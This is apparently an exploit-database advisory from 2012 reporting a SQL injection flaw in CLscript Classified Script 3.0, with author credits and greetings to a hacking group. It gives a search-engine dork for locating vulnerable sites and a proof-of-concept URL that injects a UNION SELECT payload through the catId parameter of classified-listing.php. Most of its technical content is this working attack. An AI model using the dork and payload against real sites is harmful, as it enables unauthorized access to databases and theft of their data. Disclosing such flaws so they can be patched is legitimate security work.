# Exploit Title: CLscript - Classified Script 3.0 / SQL Injection # Date: 03/07/2012 # Author: Daniel Godoy # Author Mail: DanielGodoy[at]GobiernoFederal[dot]com # Author Web: www.delincuentedigital.com.ar # Sofware web: http://www.phpkode.com/scripts/item/clscript-classified-script/ # Tested on: Linux # Dork: allinurl: classified-listing.php?catId= # # www.chap.cl # Este Advisory fue descubierto por Daniel Godoy, integrante de Project CHAP Security # be secured / stay secure # contacto@chap.cl [Comment] Greetz: Hernan Jais, Alfonso Cuevas, SPEED, hacklego, Incid3nt, Maximiliano Soler, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0, InyeXion, ksha, zerial,LinuxFer, Scorp her0, r0dr1 y demas user de RemoteExecution www.remoteexecution.info www.remoteexcution.com.ar #RemoteExecution Hacking Group [PoC] http://localhost/classified-listing.php?catId=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--